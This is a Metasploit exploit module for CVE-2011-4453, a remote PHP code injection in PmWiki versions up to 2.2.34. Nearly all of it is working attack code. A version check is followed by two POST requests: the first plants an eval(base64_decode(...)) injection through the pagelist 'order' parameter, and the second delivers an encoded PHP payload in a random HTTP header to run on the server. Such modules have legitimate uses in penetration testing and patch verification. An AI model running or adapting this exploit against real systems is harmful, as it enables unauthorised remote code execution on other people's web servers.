PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',
            'Description'    => %q{
                This module exploits an arbitrary command execution vulnerability
                in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
                inside /scripts/pagelist.php.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'EgiX',  # Vulnerability discovery and exploit
                    'TecR0c' # Metasploit Module
                ],
            'References'     =>
                [
                    ['CVE', '2011-4453'],
                    ['BID', '50776'],
                    ['OSVDB', '77261'],
                    ['URL', 'http://www.exploit-db.com/exploits/18149/'],
                    ['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Keys'        => ['php'],
                    'Space'       => 4000,
                    'DisableNops' => true,
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['Automatic',{}]],
            'DisclosureDate' => 'Nov 09 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
            ],self.class)
    end

    def check
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'

        res = send_request_raw(
            {
                'uri' => uri
            }, 25)

        if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        p = Rex::Text.encode_base64(payload.encoded)
        header = rand_text_alpha_upper(3)
        header_append = rand_text_alpha_upper(4)

        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'

        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => uri,
            'vars_post' =>
                {
                    'action' => 'edit',
                    'post' => 'save',
                    'n' => "#{header}.#{header_append}",
                    'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
                }
            }, 25)

        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => uri,
            'headers' =>
                {
                    header => p,
                    'Connection' => 'Close',
                },
            'vars_post' =>
                {
                    'n' => "#{header}.#{header_append}",
                }
        }, 25)
    end
end